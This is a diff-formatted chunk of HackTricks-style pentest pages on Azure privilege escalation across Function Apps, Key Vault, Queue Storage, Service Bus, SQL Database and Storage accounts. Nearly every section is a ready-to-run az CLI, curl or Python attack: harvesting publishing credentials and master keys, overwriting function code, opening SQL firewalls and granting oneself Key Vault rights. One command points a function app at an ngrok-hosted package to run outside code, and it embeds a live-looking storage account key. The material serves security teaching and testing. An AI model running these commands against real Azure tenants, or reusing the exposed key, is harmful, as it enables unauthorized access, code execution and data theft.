||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
With this permission it's **possible to modify the code of an application** through the web console (or through the following API endpoint):
|
||||
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
|
||||
|
||||
This permissions allows to list all the publishing profiles which basically contains **basic auth credentials**:
|
||||
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
|
||||
Another option would be to set you own creds and use them using:
|
||||
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
|
||||
- If **REDACTED** credentials
|
||||
|
||||
If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}'
|
||||
|
||||
# Enable basic authentication for FTP
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allow": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
- **Method SCM**
|
||||
|
||||
Then, you can access with these **basic auth credentials to the SCM URL** of your function app and get the values of the env variables:
|
||||
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||
|
||||
# Deploy code to the funciton
|
||||
zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
Connect to the FTP server using:
|
||||
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
|
||||
# Connect using lftp
|
||||
lftp -u '<username>','<password>' \
|
||||
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
|
||||
|
||||
# Some commands
|
||||
ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
|
||||
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **execute commands inside the SCM server** which could be used to modify the source code of the application:
|
||||
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--resource "https://management.azure.com/" \
|
||||
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
|
||||
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/hostruntime/vfs/read
|
||||
|
||||
This permission allows to **read the source code** of the app through the VFS:
|
||||
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/functions/token/action
|
||||
|
||||
With this permission it's possible to [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) which can be later used to retrieve the **master key** and therefore access and modify the function's code:
|
||||
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01" \
|
||||
--headers '{"Content-Type": "application/json"}' \
|
||||
--debug
|
||||
|
||||
# Get master key
|
||||
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
|
||||
|
||||
This permissions allows to **enable functions** that might be disabled (or disable them).
|
||||
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
|
||||
It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis):
|
||||
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
|
||||
|
||||
With these permissions it's possible to **modify the container run by a function app** configured to run a container. This would allow an attacker to upload a malicious azure function container app to docker hub (for example) and make the function execute it.
|
||||
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
|
||||
```
|
||||
|
||||
### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
|
||||
|
||||
With these permissions it's possible to **attach a new user managed identity to a function**. If the function was compromised this would allow to escalate privileges to any user managed identity.
|
||||
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
|
||||
### Remote Debugging
|
||||
|
||||
It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations.
|
||||
|
||||
It's possible to check if a Function has debugging enabled with:
|
||||
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`).
|
||||
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
### Change Github repo
|
||||
|
||||
I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\
|
||||
Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful.
|
||||
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1
|
||||
|
||||
# Load new public repo
|
||||
az functionapp deployment source config \
|
||||
--name funcGithub \
|
||||
--resource-group Resource_Group_1 \
|
||||
--repo-url "https://github.com/orgname/azure_func3" \
|
||||
--branch main --github-action true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,34 @@
|
||||
# Az - Key Vault Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.KeyVault/vaults/write
|
||||
|
||||
An attacker with this permission will be able to modify the policy of a key vault (the key vault must be using access policies instead of RBAC).
|
||||
|
||||
```bash
|
||||
# If access policies in the output, then you can abuse it
|
||||
az keyvault show --name <vault-name>
|
||||
|
||||
# Get current principal ID
|
||||
az ad signed-in-user show --query id --output tsv
|
||||
|
||||
# Assign all permissions
|
||||
az keyvault set-policy \
|
||||
--name <vault-name> \
|
||||
--object-id <your-object-id> \
|
||||
--key-permissions all \
|
||||
--secret-permissions all \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,73 @@
|
||||
# Az - Queue Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,154 @@
|
||||
# Az - Service Bus Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
#pip install aiohttp
|
||||
#pip install azure-identity
|
||||
|
||||
import asyncio
|
||||
from azure.servicebus.aio import ServiceBusClient
|
||||
from azure.servicebus import ServiceBusMessage
|
||||
|
||||
# Constants
|
||||
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
|
||||
TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
#pip install aiohttp
|
||||
#pip install azure-identity
|
||||
|
||||
import asyncio
|
||||
from azure.servicebus.aio import ServiceBusClient
|
||||
|
||||
NAMESPACE_CONNECTION_STR = "<PrimaryConnectionString>"
|
||||
TOPIC_NAME = "<TOPIC_NAME>"
|
||||
SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,111 @@
|
||||
# Az - SQL Database Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,152 @@
|
||||
# Az - Storage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
